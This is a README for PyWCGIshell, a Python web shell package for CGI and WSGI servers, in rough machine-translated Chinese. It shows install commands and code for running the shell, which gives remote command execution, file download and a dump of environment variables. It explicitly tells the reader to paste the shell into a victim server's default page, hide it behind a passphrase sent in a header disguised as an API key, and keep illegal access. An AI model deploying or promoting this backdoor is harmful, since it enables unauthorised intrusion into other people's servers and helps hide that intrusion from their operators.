PyWCGIshell

Pywcgishell

描述

該軟件包實現了CGI和WSGI服務器的網絡殼。

使用此網絡架，您可以：

• 探索目錄並下載文件
• 執行命令行（帶有命令歷史記錄）
• 顯示有​​關環境服務器的基本信息
• 顯示環境變量

要求

此包需要：

• python3
• Python3標準庫

安裝

pip install PyWCGIshell

用法

命令行

（命令行對於嘗試Webshel​​​​l很有用）

python3 -m PyWCGIshell wsgi # Try it in wsgi mode

Python腳本

CGI頁面

 from PyWCGIshell import WebShell

def my_default_cgi_page ():
	print ( "Content-type:text/plain; charset=utf-8" )
	print ( "" )
	print ( "Hello World !" )

webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run ()

WSGI頁面

 from PyWCGIshell import WebShell

def my_default_wsgi_page ( environ , start_response ):
    status = '200 OK'
    headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
    start_response ( status , headers )
    return [ b"Hello World !" ]

webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function 

Webshel​​​​l選項

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run ()

我不建議使用pass_type之類的method隱藏您的網絡殼。

您可以使用類似的配置隱藏您的網絡殼。

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . run

使用此網絡殼：

• 配置（服務器類型，密碼和密碼位置）並複制Webshel​​​​l代碼或安裝
• 將其粘貼到受害者服務器的默認頁面或導入
• 用密碼發送請求並利用弱服務器

例子

在WebScript上安裝和配置Pywcgishell，以保持您的非法訪問並隱藏它（Repo在這裡）。

Webshel​​​​l在WebScripts- YouTube上

鏈接

• Github頁面
• 文件
• PYPI軟件包

執照

在GPL下獲得許可，版本3。